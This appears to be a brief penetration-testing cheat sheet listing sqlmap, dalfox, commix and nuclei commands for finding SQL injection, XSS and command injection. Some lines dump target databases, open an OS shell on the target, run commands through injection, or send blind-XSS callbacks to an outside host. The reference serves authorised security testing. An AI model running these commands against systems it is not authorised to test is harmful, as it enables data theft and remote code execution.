<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Detecting Injection Vulnerabilities

## sqlmap — SQL Injection
```bash
sqlmap -u "URL?id=1" --batch --risk=3 --level=5 --dbs
sqlmap -u "URL" --data="query=test" --batch --dump
sqlmap -u "URL?id=1" --cookie="session=TOKEN" --os-shell
```

## dalfox — XSS Scanner
```bash
dalfox url "URL?q=test" --blind https://callback.xss.ht
dalfox file urls.txt --silence --only-poc
```

## commix — Command Injection
```bash
commix --url="URL?host=127.0.0.1" --batch
commix --url="URL" --data="cmd=test" --os-cmd="id"
```

## nuclei — Injection Templates
```bash
nuclei -u URL -t http/vulnerabilities/ -tags sqli,xss,rce
```
